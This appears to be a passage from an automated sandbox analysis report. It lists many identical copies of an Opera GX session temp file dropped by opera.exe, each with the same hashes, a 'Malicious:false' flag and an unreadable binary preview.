                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da791.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da7a1.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da7b1.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da7c0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da7d0.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3da7df.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3db165.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3db175.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3db1c3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3db3c6.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3db3d6.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3dd2e7.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3dd4fa.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3de0a3.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3de0c2.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3de788.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
                                                                                                                                                                                                              MD5:5EA44F93E0C792FB6115E608557E283F
                                                                                                                                                                                                              SHA1:482BAA5B4DB0E0160B21EBEE6F4DB848264CAB43
                                                                                                                                                                                                              SHA-256:26963E3EA999712DAB4F09A6AF300CDE451FBB44DE888057DA7C0B6C7E14FF78
                                                                                                                                                                                                              SHA-512:25CEF1AAA945220F6A4E2FAD87475152590BD1B4F259A231D44907B62F3291AD537605A870A27CD0040A90C03CBEEBC24703FB55621AE7F1401424B6DA60EFC9
                                                                                                                                                                                                              Malicious:false
                                                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                                                              Preview:........XlSVqtq7q3+zcX+TIqXBCmaMVtcGF7UzTYxuIYHI4DBk=..........3...l+.......H..{..{...|...........TNY.]*.wXSs~.2..K.e..x.hs)....?...&..uV..?e.V.......6.....h..-K.....k.QCJJ.AyF.cBzF.LHd..-...5...=k........).*..7...C.Iv\<...tD.D.kd.......m_...v.j.T0..LWFv............v^7..5..k.A.q)..l..!~..j.G...mA.;.^..n...K.uL.n.....1.)*E.Z..._|W..8......g.....ky.1.r\....K.n....$.7u...df;...............1...e....9k../.m.../a....

                                                                                                                                                                                                              C:\Users\user\AppData\Roaming\Opera Software\Opera GX Stable\StatsSessions\session_1b881aa8-1415-4d61-9d99-261a76cd3e2d.raw~RF3deebc.TMP (copy)

                                                                                                                                                                                                              Download File
                                                                                                                                                                                                              Process:C:\Users\user\AppData\Local\Programs\Opera GX\opera.exe
                                                                                                                                                                                                              File Type:data
                                                                                                                                                                                                              Category:dropped
                                                                                                                                                                                                              Size (bytes):429
                                                                                                                                                                                                              Entropy (8bit):7.39699052517815
                                                                                                                                                                                                              Encrypted:false
                                                                                                                                                                                                              SSDEEP:
